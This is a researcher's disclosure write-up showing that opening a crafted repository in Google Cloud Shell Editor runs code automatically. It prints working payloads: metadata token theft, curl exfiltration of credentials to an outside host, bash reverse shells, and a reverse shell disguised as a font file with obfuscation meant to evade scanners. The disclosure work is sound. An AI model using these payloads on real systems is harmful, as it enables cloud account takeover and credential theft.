A few weeks ago, I came across an interesting security vulnerability inside Google Cloud Shell. While analyzing how Cloud Shell Editor (Code OSS) loads projects, I observed that simply opening a specially crafted project within the editor triggers silent and automatic code execution. The user doesn't need to type any commands, or run any tasks manually. Simply open the project and the payload will be executed.
The root cause was that many components/processes executes inside the Cloud Shell Editor during workspace load. Tools like the Gradle language server, the Clang language server, and the VS Code tasks system evaluate config files or build scripts as soon as the folder is opened. This seems simple in a normal development workflow, but it breaks a very basic assumption/principle we all rely on: cloning a repo or opening a project in an editor will never execute a command without user action.
I understood this behavior, the attack scenario was clear in my mind. An attacker can prepare a malicious Git repository containing files like build.gradle, settings.json, or tasks.json with injected commands. Then they simply share a crafted Open in Cloud Shell link. When the victim clicks it, Cloud Shell automatically clones the repo and opens it in the Cloud Shell Editor. The moment the editor loads the workspace, the language server or task runner picks up the config files and executes the attacker controlled commands. This gives full remote code execution inside the victim's Cloud Shell environment.
In my testing, I produced this vulnerability through three different execution paths:
- Gradle language server sync
- VS Code tasks.json auto run on folder open
- Clang language server initialisation
Each of these eventually led to complete Cloud Shell takeover.
There may be many other ways to achieve the same results, and you can also try your own approach to discover a new path.
The following preconditions apply to all three methods:
- The victim must click an attacker provided Open in Cloud Shell link that automatically clones a malicious Git repository into the victim's Cloud Shell workspace. Please note that the link uses the genuine https://shell.cloud.google.com/ URL, so this is not a phishing case.
- When Cloud Shell loads the project, it may display a prompt asking whether to trust the repository:
If the victim clicks "Trust Repo", Cloud Shell exposes the real persistent filesystem, which significantly increases the impact. However, the code execution will still happen even if the victim does not click "Trust Repo".
No further interaction is required from the victim.
In the next sections, I walk through all three methods in detail and share the exact reproduction steps and POC snippets that I reported to Google.
When a Gradle project is opened inside Cloud Shell Editor, the Java/Gradle language server automatically starts a background sync process. During this sync, Gradle evaluates the build.gradle file and executes any embedded exec blocks even though the victim has not triggered any build or run command. A malicious build.gradle file can therefore execute arbitrary commands on the victim's machine immediately after the project loads.
Below is the exact content as reported to Google.
-
Prepare a malicious Gradle build file
The attacker creates a repository containing a
build.gradlefile with maliciousexecblock. Example for creating a file:gradle.taskGraph.whenReady { exec { executable "/usr/bin/touch" args "/tmp/win3zz" } }This code will automatically execute during the Gradle sync and create the file win3zz in the /tmp directory.
The attacker hosts this in a public repository such as: https://github.com/win3zz/cloudshell-exec-lab
-
Craft the Open in Cloud Shell URL
The attacker creates a specially crafted URL using Google's official pattern:
https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https%3A%2F%2Fgithub.com%2Fwin3zz%2Fcloudshell-exec-lab&open_in_editor=build.gradleOR
Once the victim clicks the link or button, Cloud Shell automatically performs the following actions:
- Clones the repository
- Opens the workspace inside Cloud Shell Editor - Code OSS
- Opens the build.gradle file automatically
-
Initial Trigger Mechanism
Immediately after the workspace loads, Cloud Shell's Java/Gradle language server starts in the background. The server:
- Boots a dedicated JVM
- Starts Gradle tooling API
- Loads the project model
- Evaluates build.gradle (even before the user clicks anywhere)
This is the root behaviour that triggers unwanted code execution.
During the first background Gradle sync, the following block executes:
gradle.taskGraph.whenReady {
exec {
executable "/usr/bin/touch"
args "/tmp/win3zz"
}
}
Observed outcome:
- The file /tmp/win3zz is created.
- No terminal command was executed by the victim.
- The victim only opened the project.
Screenshot confirms successful creation of win3zz inside the /tmp directory.
Important Note: After clicking the malicious URL, the command may not execute immediately. Cloud Shell needs some time to complete its background sync and language server processes. Simply wait for a few moments, and the execution will occur automatically once the sync finishes.
The attacker can run any shell command, including HTTP requests to GCP metadata.
gradle.taskGraph.whenReady {
exec {
executable "/usr/bin/bash"
args "-c", "/usr/bin/curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token.json"
}
}
Outcome:
- Cloud Shell retrieves the victim's OAuth 2.0 access token.
- The token is written to /tmp/token.json.
- This token grants access to Google Cloud APIs using the victim's permissions.
Screenshot shows the token.json file created and containing sensitive OAuth 2.0 data.
A second exec block sends multiple files to an attacker controlled endpoint.
gradle.taskGraph.whenReady {
exec {
executable "/usr/bin/curl"
args "-X", "POST", "http://{interactsh}.oast.fun/", "-F", "file=@/etc/passwd", "-F", "file2=@/tmp/token.json", "-F", "file3=@/var/config/shared-secret/shared-secret"
}
}
Outcome:
-
Attacker receives sensitive files including:
- /etc/passwd
- OAuth token extracted earlier
- shared-secret files
Screenshot captures the outbound request being logged on Interactsh (https://app.interactsh.com/).
Screenshot displays the contents of exfiltrated files received by the attacker.
A reverse shell is triggered using a bash one liner:
gradle.taskGraph.whenReady {
exec {
executable "/usr/bin/bash"
args "-c", "sh -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1"
}
}
If the attacker listens using netcat:
nc -lnvp 9001
Outcome:
- Cloud Shell connects back to the attacker.
- An interactive shell session opens.
- Attacker can execute OS commands as the Cloud Shell user.
- This is full remote takeover.
Screenshot shows the outgoing reverse shell connection being established.
Screenshot shows the attacker receiving the connection and interacting with the victim's Cloud Shell terminal.
Wouter ter Maat had previously observed similar behavior and described it in his blog.
- Python language server PoC: https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-1/
- Java/Gradle language server PoC: https://github.com/offensi/LiveOverflow-cloudshell-poc
- Video explanation: https://youtu.be/E-P9USG6kLs?t=974
Google Cloud Shell Editor (Code OSS) tasks system allows tasks to run automatically when a project folder is opened using the runOn value inside tasks.json. Cloud Shell Editor loads tasks.json immediately when a repository is opened. If the attacker sets runOn to folderOpen, the editor automatically executes the attacker controlled command without user interaction.
Below is the exact content as reported to Google.
-
Create a directory with a
.vscodesubfolder. -
Add the following
tasks.jsonfile to enable automatic code execution:{ "version": "2.0.0", "tasks": [ { "label": "TEST", "type": "shell", "command": "touch /tmp/win3zz", "runOptions": { "runOn": "folderOpen" }, "presentation": { "reveal": "never" } } ] }This configuration silently creates the file
/tmp/win3zzwhen the folder is opened in Cloud Shell Editor. -
Commit this folder to a public repository (https://github.com/win3zz/cloudshell-exec-lab2) controlled by the attacker.
-
Craft the Open in Cloud Shell URL using the official pattern:
https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https%3A%2F%2Fgithub.com%2Fwin3zz%2Fcloudshell-exec-lab2&cloudshell_workspace=%2FOR
-
When the victim clicks the link or button, Cloud Shell automatically performs the following:
- Clones the attacker repository (https://github.com/win3zz/cloudshell-exec-lab2)
- Opens the workspace in Cloud Shell Editor
- Loads
tasks.jsonand immediately runs the malicious command
In a realistic attack, an attacker can hide the malicious behaviour inside an otherwise harmless looking GitHub project (https://github.com/win3zz/Vortex). The attacker adds the following two files:
{
"version": "2.0.0",
"tasks": [
{
"label": "Vortex",
"type": "shell",
"command": "/u??/*l/*m/v*/*/*/*n/???? assets/fonts/Roboto-Bold.ttf",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" }
}
]
}The path /u??/*l/*m/v*/*/*/*n/???? is a shell glob pattern representing the following binary in an obfuscated form: /usr/local/nvm/versions/node/v24.12.0/bin/node
Instead of the obfuscated path, the task can simply execute node. The attacker uses the glob form only to distract human reviewers and bypass static security scanners.
Although named as a TTF file, this file actually contains obfuscated JavaScript:
_=[
'\x63\x68\x69\x6C\x64\x5F\x70\x72\x6F\x63\x65\x73\x73',
'\x65\x78\x65\x63',
'\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f'+"<ATTACKER_IP>/9001"+
'\x20\x30\x3e\x26\x31'
];
require(_[0])[_[1]](_[2])This decodes to: require('child_process').exec('sh -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1') which opens a reverse shell to the attacker.
The file extension and directory naming (fonts, Roboto-Bold.ttf) are intentional. They help disguise the payload inside what appears to be a harmless asset folder, especially when reviewers skim through the repository.
- The victim clicks the attacker provided "Open in Cloud Shell" link (or button in https://github.com/win3zz/Vortex).
- Cloud Shell clones the repository and opens it inside Code OSS.
- Code OSS automatically loads
.vscode/tasks.json - Since
runOnis set tofolderOpen, the editor immediately executes the task. - The task launches the obfuscated Node command pointing to the disguised TTF file.
- The TTF file executes JavaScript which spawns a reverse shell to the attacker.
- Cloud Shell users have sudo access by default, giving the attacker full control of the environment.
When a C project is opened in Cloud Shell Editor, the vscode clangd extension automatically initialises the Clang Language Server. During initialisation, it reads the project specific settings from .vscode/settings.json. If the parameter "clangd.path" points to a shell script instead of the real binary, Cloud Shell executes that script immediately without any user action. (Reference: https://github.com/clangd/vscode-clangd/blob/master/docs/settings.md) This leads to silent remote code execution.
Below is the exact content as reported to Google.
-
Create malicious VS Code settings
.vscode/settings.json{ "clangd.path": "${workspaceFolder}/RCE.sh" }This forces vscode-clangd to execute the script
RCE.shinstead of the real clangd binary. -
Create the wrapper script
RCE.sh#!/bin/sh # Run RCE payload /usr/bin/touch /tmp/win3zz # Run real clangd exec /usr/bin/clangd "$@"
The script first executes the attacker controlled payload. It then launches the real clangd process so the victim does not notice any abnormal behaviour.
The attacker can replace the simple
touchpayload with more harmful commands. For example, the attacker can establish a reverse shell and take full control of the Cloud Shell instance by using:sh -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1The attacker can also extract the OAuth token from the Google Cloud Metadata Service and exfiltrate it to an external server using curl with the following payload:
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | curl -s -X POST -d @- https://server.com/receiveThis allows the attacker to silently retrieve sensitive Google Cloud access tokens and send them to a remote server under attacker control.
-
Add a minimal C file to trigger clangd
main.cint main() {} // No RCE here // This C file is only for initializing the Clang Language Server in VS Code
Opening this file triggers the vscode-clangd extension (Clang Language Server) which immediately runs the configured
clangd.pathscript. -
Trigger the vulnerability using Open in Cloud Shell
An attacker hosts this repository (https://github.com/win3zz/cloudshell-exec-lab1) publicly and shares a specially crafted URL in the following format:
https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https%3A%2F%2Fgithub.com%2Fwin3zz%2Fcloudshell-exec-lab1&open_in_editor=main.cOR
Once the victim clicks the link/button, Cloud Shell automatically:
- clones the repository
- opens it in Code OSS editor
- loads main.c
- triggers the clangd initialisation
- executes RCE.sh silently
The payload creates the file /tmp/win3zz, confirming code execution.
The impact is identical across all three execution paths because each method results in arbitrary code execution within the victim's Cloud Shell environment.
An attacker can:
- Execute arbitrary commands inside the victim's Cloud Shell instance.
- Access victim files including keys, tokens, source code, configuration data, SSH keys, and service account credentials.
- Extract OAuth access tokens from the metadata server and use them to access Google Cloud APIs.
- Exfiltrate sensitive files to attacker controlled infrastructure.
- Establish persistent remote shells and maintain long term control.
- Deploy further payloads such as crypto miners.
- Escalate access to other Google Cloud resources using the stolen credentials.
This results in full takeover of the victim's Cloud Shell environment and their associated cloud resources.
- Omar Espino's Cloud Shell instance takeover (XSS leading to automatic code execution on project load)
- Additional public case
-
Jan 8, 2026: Reported the issue to Google Cloud VRP. On the same day, I received the automatically generated acknowledgment email.
-
Jan 9, 2026: The report priority was updated from P2 to P1.
-
Jan 21, 2026: The report was triaged.
-
Jan 26, 2026: Google closed the report as "Intended Behavior" with the following message:
"Exploitation of this behavior requires that the victim run malicious code without review and that they disregard an explicit UI warning before doing so."
-
Jan 28, 2026: I responded with a clarification:
I explained that the core issue is that code execution happens simply by opening a cloned or downloaded project in Cloud Shell Editor, even when the user does not choose to run or execute anything. This is fundamentally different from a user intentionally running untrusted code after ignoring a warning. In my testing, the execution was triggered before any user action. This breaks the expected security boundary where opening a folder from a Git repository should be a non executable and low risk operation. I also pointed out that the explicit UI warning in Cloud Shell Editor is meant for run actions, not for the automatic execution happening during the open process or code view/browsing. It should have something like Restricted Mode
-
Feb 10, 2026: Received the final response:
"We have reassessed this report and our decision remains unchanged."
-
Feb 15, 2026: Public disclosure.
This writeup is only for learning and research purposes. All vulnerabilities were responsibly disclosed to Google through the appropriate reporting channels before public release. Readers must not attempt to exploit similar issues on systems without explicit permission. Unauthorised access or misuse of these techniques is illegal.
Awesome!